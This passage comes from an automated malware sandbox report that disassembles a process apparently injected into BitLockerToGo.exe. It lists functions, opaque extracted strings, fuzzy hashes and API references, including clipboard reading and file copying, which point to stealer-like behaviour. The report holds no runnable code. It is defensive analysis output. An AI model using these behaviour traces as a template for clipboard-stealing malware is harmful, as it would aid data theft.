Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: / $6$I~$RDJR$`~$qx$vxw~$v
API String ID: 0-977439064
Opcode ID: 0ff829aa8435fed8bf2f2517ccfeb88bf4e384f5b7db024309cebe06b61405aa
Instruction ID: ad6962f2241a934618eb4346c0f5ed70c8fa4d0911ba84e60267e1335162e746
Opcode Fuzzy Hash: 0ff829aa8435fed8bf2f2517ccfeb88bf4e384f5b7db024309cebe06b61405aa
Instruction Fuzzy Hash: FFD15C7264C3514BC324CF68985136BBBD39FC1305F1D8A7EE8D54B382DA78980A878B

Function 00465EEF Relevance: 9.3, Strings: 7, Instructions: 537COMMON

Download Yara Rule

Strings

I\] , xrefs: 00466432
"'QQ, xrefs: 00466427
a}eb, xrefs: 00465FD3
dosh, xrefs: 00466411
`c^Q, xrefs: 00466025
ye}z, xrefs: 00465FE9
`l"(, xrefs: 0046641C

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "'QQ$I\] $`c^Q$`l"($a}eb$dosh$ye}z
API String ID: 0-3808399728
Opcode ID: 33f7733d8b7b0cebdf6742cdb21cffde9b205c8e1b2305cbd3f2e58a4d53f664
Instruction ID: 4b52dd010a8c812929d113b91da3503f5a5d09428c808850ed7d75a6dd10b0dd
Opcode Fuzzy Hash: 33f7733d8b7b0cebdf6742cdb21cffde9b205c8e1b2305cbd3f2e58a4d53f664
Instruction Fuzzy Hash: 70F105729083518FC720DF29D8946ABB7E1ABD5315F1A893ED4CA87352EB34D805CB87

Function 00481190 Relevance: 9.2, APIs: 6, Instructions: 158clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 004811B4
GetWindowLongW.USER32 ref: 004811E1
GetClipboardData.USER32 ref: 004811F1
CloseClipboard.USER32 ref: 00481368

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID:
API String ID: 1647500905-0
Opcode ID: 18a30f8688862f9f268e37fd9676a17979bbe538082158445c472aa0ca611214
Instruction ID: 26309e735703d13c9e27c3bc9154cd9f06fdebf8df059f402f5bd0c5cc0cc0b9
Opcode Fuzzy Hash: 18a30f8688862f9f268e37fd9676a17979bbe538082158445c472aa0ca611214
Instruction Fuzzy Hash: 5E5157B1904B528FC700ABBC984535EBFA06B51320F09CB3BD8B5976D2E338991687D7

Function 0046A0A0 Relevance: 8.6, APIs: 2, Strings: 2, Instructions: 1600COMMON

Download Yara Rule

APIs

Part of subcall function 0048AFD0: LdrInitializeThunk.NTDLL(00489B85,?,00000010,00000000,?,00000018,?,?,?,?,?,?,?,00000000), ref: 0048AFFE

FreeLibrary.KERNEL32(?), ref: 0046A77A
FreeLibrary.KERNEL32(?), ref: 0046A82B

Strings

I,~M, xrefs: 0046B17C
?0, xrefs: 0046A4C3

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: ?0$I,~M
API String ID: 764372645-2649114058
Opcode ID: 79b4cfbd884d710fd5d697b923caa6515f0dcb85411760f818d21999780c6390
Instruction ID: 9479524cd643e60124d6355939f8ac7cd98ba736f335425e0b6d06e1fe9cc4fd
Opcode Fuzzy Hash: 79b4cfbd884d710fd5d697b923caa6515f0dcb85411760f818d21999780c6390
Instruction Fuzzy Hash: 07A255766497009FE710CB68DCC076BB7E2EBD4304F19852EE58997306E7799C028B9B

Function 004753D0 Relevance: 7.8, Strings: 6, Instructions: 274COMMON

Download Yara Rule

Strings

Z\, xrefs: 00475693
"^<P, xrefs: 004754CC
)*, xrefs: 004756B3
V(, xrefs: 004756AB
0R/T, xrefs: 004754D4
-rt, xrefs: 00475514

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "^<P$)*$-rt$0R/T$V($Z\
API String ID: 0-1249270978
Opcode ID: 67725368e03cb4ddee40e74334e12c677d815954daff8bafe1f6859bb7aedaf4
Instruction ID: b757ad1c9ede5cb30e3edbe811fc37b4d8a62d1b92736e17cf374884755fb50d
Opcode Fuzzy Hash: 67725368e03cb4ddee40e74334e12c677d815954daff8bafe1f6859bb7aedaf4
Instruction Fuzzy Hash: AB8158B25093518BD714CF19C8913ABBBA1FFC1314F088A2DE4C99F391E7B89905C786

Function 004781FB Relevance: 6.7, Strings: 5, Instructions: 420COMMON

Download Yara Rule

Strings

!UoQ, xrefs: 0047821C
iumj, xrefs: 00478214
Ne, xrefs: 00478234
RLFq, xrefs: 0047822C
a}eb, xrefs: 00478224

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: !UoQ$Ne$RLFq$a}eb$iumj
API String ID: 0-774795427
Opcode ID: d0e0cfaf50e87d34080b682e71e55c601faadc268507a9ae31ac518f5569ccb4
Instruction ID: f51100b1770f39c00f6be57483d10179bbde8b31006ae438b783be75b6bc5519
Opcode Fuzzy Hash: d0e0cfaf50e87d34080b682e71e55c601faadc268507a9ae31ac518f5569ccb4
Instruction Fuzzy Hash: 90D112B19083509BC714DF29C8556ABB7F2AFD1304F04892DF8D987352EB39D905CB8A

Function 0045D2C3 Relevance: 6.6, Strings: 5, Instructions: 303COMMON

Download Yara Rule

Strings

4/@8, xrefs: 0045D65B
L, xrefs: 0045D555
4/@8, xrefs: 0045D427
b2io, xrefs: 0045D661
b2io, xrefs: 0045D42D

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 4/@8$4/@8$L$b2io$b2io
API String ID: 0-1083437768
Opcode ID: df8efa570286446f91957a95e1523b01696af5232d48285fd63726ce31118c6a
Instruction ID: d07c7eb26caceb737a9836807f0d05a7c59d4507b80fd981a57e6c734f4293e2
Opcode Fuzzy Hash: df8efa570286446f91957a95e1523b01696af5232d48285fd63726ce31118c6a
Instruction Fuzzy Hash: 6DA18DB29083404AD3259B39DC517EFBAD1EFDA304F194A3EC8C997347E6384915879A

Function 00473960 Relevance: 6.5, Strings: 5, Instructions: 261COMMON

Download Yara Rule

Strings

2=G, xrefs: 00473D25
}C, xrefs: 004739AA
zw, xrefs: 004739B2
bw, xrefs: 0047399A
OH, xrefs: 004739A2

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 2=G$OH$bw$zw$}C
API String ID: 0-1369387539
Opcode ID: 92d3bfa514b89826623dd48763000e1f930a79d41a5ef72068a605a49e22b752
Instruction ID: 1e8114caa96961571341c616664fc621bf40b49e12f032eae4f07b8de7a8a10b
Opcode Fuzzy Hash: 92d3bfa514b89826623dd48763000e1f930a79d41a5ef72068a605a49e22b752
Instruction Fuzzy Hash: 658124712483509FE310CF64D88279FBBE0EBC5308F05893EF5999B291D779990A8B86

Function 0046C78C Relevance: 6.5, Strings: 5, Instructions: 201COMMON

Download Yara Rule

Strings

01, xrefs: 0046C846
A%P', xrefs: 0046C82E
S.*8, xrefs: 0046C8EC
mso@, xrefs: 0046C8D3
T-Z/, xrefs: 0046C83E

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 01$A%P'$S.*8$T-Z/$mso@
API String ID: 0-685917220
Opcode ID: eac4874c9374c6a0fa97f11727762a74831ea1fb728e5d501def0b4935fcde4e
Instruction ID: 261bbf5c1ca62b2acedc94ec8b38abbd8e802859ba784c545171de8bdd916048
Opcode Fuzzy Hash: eac4874c9374c6a0fa97f11727762a74831ea1fb728e5d501def0b4935fcde4e
Instruction Fuzzy Hash: 8E5113B19083418BC7248F24C4A1677BBF0EFA6355F18591DE8C64B392F7388804CB9B

Function 0047B12E Relevance: 6.4, Strings: 5, Instructions: 172COMMON

Download Yara Rule

Strings

mUi>, xrefs: 0047B143
Dx, xrefs: 0047B29A
Id02, xrefs: 0047B28F
mUi>, xrefs: 0047B218
mUi>, xrefs: 0047B2A4

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: Dx$Id02$mUi>$mUi>$mUi>
API String ID: 0-2171644440
Opcode ID: 98be873e36dd7f379806bc2b53a1d0ebe4ea9cb46f02a48c313529e41786f130
Instruction ID: 8d9f4738db8282e6c1bec28bbbedd43a07ddcccf83fb04aee26b4c3f42823fb8
Opcode Fuzzy Hash: 98be873e36dd7f379806bc2b53a1d0ebe4ea9cb46f02a48c313529e41786f130
Instruction Fuzzy Hash: 674148605087E14AD72A8F2584A43FBBBD1DF93304F1894AEC6D96B793C37A0406879A

Function 0047760D Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 459fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,?,00000000), ref: 004776A8

Strings

BD, xrefs: 00477512
b"i5, xrefs: 00477547

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: CopyFile
String ID: b"i5$BD
API String ID: 1304948518-2279727271
Opcode ID: 31515b2033329cc9fb9dcc4f0ef588635c30c21c735596211be6f5b018e1c0d0
Instruction ID: b4c1686625bbea812907ce24b7ce93590cf835eea11f6163c1793c401ab05930
Opcode Fuzzy Hash: 31515b2033329cc9fb9dcc4f0ef588635c30c21c735596211be6f5b018e1c0d0
Instruction Fuzzy Hash: 18F1E2F1E102108FC714DF69D98269ABFB2FF84314B2981ADD449AF356E779C842CB85

Function 0047CCB9 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 313COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0047CFC6

Strings

6]j*, xrefs: 0047CFF9
A]j*, xrefs: 0047D052

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: FreeLibrary
String ID: 6]j*$A]j*
API String ID: 3664257935-3419684766
Opcode ID: 28ff52cb3bfcf98095d7b2b0c78d978831185d58dfa95ad946ab5d980aa4c3ed
Instruction ID: 887f41e7478c84a7868e295d18c299e6027519f1f0c9fafd94e52337273e576e
Opcode Fuzzy Hash: 28ff52cb3bfcf98095d7b2b0c78d978831185d58dfa95ad946ab5d980aa4c3ed
Instruction Fuzzy Hash: 4CA15032A483418FD7258A2888817D7BFD2DFD2354F18C56EE4C9973C2D6389C05C796

Function 00459490 Relevance: 5.4, Strings: 4, Instructions: 427COMMON

Download Yara Rule

Strings

ADF3B8C14BFF3DAC1145237798DF8CC2, xrefs: 0045958F
pr, xrefs: 0045981F
LpS:, xrefs: 00459873
l&n, xrefs: 00459837

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: l&n$ADF3B8C14BFF3DAC1145237798DF8CC2$LpS:$pr
API String ID: 0-4253273565
Opcode ID: 3e80a5bfa8b4b61315292df4aebec49f608e45450accf4179821513372185961
Instruction ID: 435ca2c505711583f4ea7731822cc6ac700e9760d2b56481f8fa64e2e557c115
Opcode Fuzzy Hash: 3e80a5bfa8b4b61315292df4aebec49f608e45450accf4179821513372185961
Instruction Fuzzy Hash: B8D17C769083508BC314CF25C8516ABBBE2FFC1304F18496DE9D59B352DB79D90ACB86

Function 00475730 Relevance: 5.4, Strings: 4, Instructions: 412COMMON

Download Yara Rule

Strings

SP, xrefs: 0047588A
W_, xrefs: 00475874
;J, xrefs: 0047587F
FX, xrefs: 004757B7

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ;J$SP$W_$FX
API String ID: 0-3720793784
Opcode ID: 3fe00b5df1f1099823c2fa99418b5990abf246c571eecf2f8ab162beedfc7c9a
Instruction ID: d230daf58c7e2df147a153f70959069ac8664ac9a0d6a35efdd44354464aad9f
Opcode Fuzzy Hash: 3fe00b5df1f1099823c2fa99418b5990abf246c571eecf2f8ab162beedfc7c9a
Instruction Fuzzy Hash: A2D1F2B5508380DFE724EF24D881BABB7A0FBD5308F50893EE58A5B261D774D816CB46

Function 0047B0F9 Relevance: 5.2, Strings: 4, Instructions: 166COMMON

Download Yara Rule

Strings

Dx, xrefs: 0047B29A
Id02, xrefs: 0047B28F
mUi>, xrefs: 0047B218
mUi>, xrefs: 0047B2A4

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: Dx$Id02$mUi>$mUi>
API String ID: 0-952199321
Opcode ID: ebf00159b2e974b3d10a8c94139434e47d21296336075306685dfc9435ac68c4
Instruction ID: e2c60a30b10da6c885e546442d21e3ee014a427a7d8f1488b32712ec0fd29c55
Opcode Fuzzy Hash: ebf00159b2e974b3d10a8c94139434e47d21296336075306685dfc9435ac68c4
Instruction Fuzzy Hash: 65415C6054C3E14AD7358F2484A03FBBF91DF93300F1894ADC6DA6B693C37A4407875A

Function 004760F0 Relevance: 4.3, Strings: 3, Instructions: 575COMMON

Download Yara Rule

Strings

5$Z, xrefs: 00476122
0cG, xrefs: 00476424, 004766DE
|~W8, xrefs: 00476205

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 0cG$|~W8$5$Z
API String ID: 0-2503716277
Opcode ID: 8b66836f2e7b1d8f5f89d45ecd17d70f7d7663179d41498321a26b0fbf82c227
Instruction ID: 6c284c1aba92282bf82d5ec73ae4ed2ec432d83b899198afc3d35fb4cb92d1a2
Opcode Fuzzy Hash: 8b66836f2e7b1d8f5f89d45ecd17d70f7d7663179d41498321a26b0fbf82c227
Instruction Fuzzy Hash: 24026AB29083508FC714CF25D85176BBBE6ABD6304F1A887EE4C997341D639D90ACB86

Function 00469804 Relevance: 4.3, Strings: 3, Instructions: 553COMMON

Download Yara Rule

Strings

@Vq$, xrefs: 00469950
@Vq$, xrefs: 00469C50
8, xrefs: 00469C42

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: @Vq$$@Vq$$8
API String ID: 0-1623103723
Opcode ID: e39be9cbc409b82bf681a979cf58eb53d2faca929fdffb9493e5835ff5305fb1
Instruction ID: c453ad58aad6ee1f29732dc34e86a7fc9f5ee628d778bbf4026eede55353ff68
Opcode Fuzzy Hash: e39be9cbc409b82bf681a979cf58eb53d2faca929fdffb9493e5835ff5305fb1
Instruction Fuzzy Hash: 55F15172A083228BC724CF28C4912ABB7B1FFE9754F19992DD4C55B361E3788D45C78A

Function 0046D190 Relevance: 4.2, Strings: 3, Instructions: 438COMMON

Download Yara Rule

Strings

jk, xrefs: 0046D277
<Pf, xrefs: 0046D5C7
8Pf, xrefs: 0046D56E

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 8Pf$<Pf$jk
API String ID: 0-3570891835
Opcode ID: 930427240512bd6f50e1c4d9ba4c5de0818c71dc2a2993db0fa5435669705e51
Instruction ID: ae7c215f8c75da64b50bcda0f54d2b36221581d83e9dc76fab4bfd56f5ba9717
Opcode Fuzzy Hash: 930427240512bd6f50e1c4d9ba4c5de0818c71dc2a2993db0fa5435669705e51
Instruction Fuzzy Hash: 20B1F0B1A083118BC724CF29C85266BB3F1EF95314F18892DE8D59B391F738D945C79A

Function 004721F0 Relevance: 4.2, Strings: 3, Instructions: 417COMMON

Download Yara Rule

Strings

(), xrefs: 0047221C
g%m', xrefs: 00472214
l!m#, xrefs: 00472230

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ()$g%m'$l!m#
API String ID: 0-2849597525
Opcode ID: c96e76cb4c71d67e2cb54a96478e9b3343958cebf8ace4911c44675bda810d57
Instruction ID: d99342074ea348660b36b0fac1cbc1d582d822c10d6aeeecfece7293a98d772b
Opcode Fuzzy Hash: c96e76cb4c71d67e2cb54a96478e9b3343958cebf8ace4911c44675bda810d57
Instruction Fuzzy Hash: BCA157725042109BC724DF249992ABB73E1EF91314F19C96EF88A97382E77CD905C36A

Function 00466C76 Relevance: 4.0, Strings: 3, Instructions: 297COMMON

Download Yara Rule

Strings

B, xrefs: 00466F89
IK, xrefs: 00466DE6
XY, xrefs: 00466E12

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: B$XY$IK
API String ID: 0-519197200
Opcode ID: a86d51d85178c138cee1349a62111f58cddd48a1809fea3b63e08104cebe4e92
Instruction ID: fe947203b70187deb78311381939890ea278dd347db29840a4e636d8a8d46fa2
Opcode Fuzzy Hash: a86d51d85178c138cee1349a62111f58cddd48a1809fea3b63e08104cebe4e92
Instruction Fuzzy Hash: 2BB166B01193818BD7348F25D8A13EBBBE1EFD6314F15892ED4C99B390EB398445CB96

Function 0047B4EE Relevance: 4.0, Strings: 3, Instructions: 265COMMON

Download Yara Rule

Strings

9, xrefs: 0047B4F9
WeTg, xrefs: 0047B75E
pq, xrefs: 0047B77F

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 9$WeTg$pq
API String ID: 0-4227282826
Opcode ID: 29b7ee78a80bcb11586c180353a09a8a8ee11f46d0935eb4837ffc1c9f37b421
Instruction ID: f1c97ea9a7c7957dcc91d9ccc894a9d4628c7a668c34a7834ec17e0d999cdbcd
Opcode Fuzzy Hash: 29b7ee78a80bcb11586c180353a09a8a8ee11f46d0935eb4837ffc1c9f37b421
Instruction Fuzzy Hash: 1D7104729083D18AD325CF2688913EBBBD1DFD2304F19896EC5CD5B342DB7944068B9A

Function 0047C82E Relevance: 4.0, Strings: 3, Instructions: 259COMMON

Download Yara Rule

Strings

7, xrefs: 0047CB00
ef, xrefs: 0047CC2E
ZjYl, xrefs: 0047CC0D

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
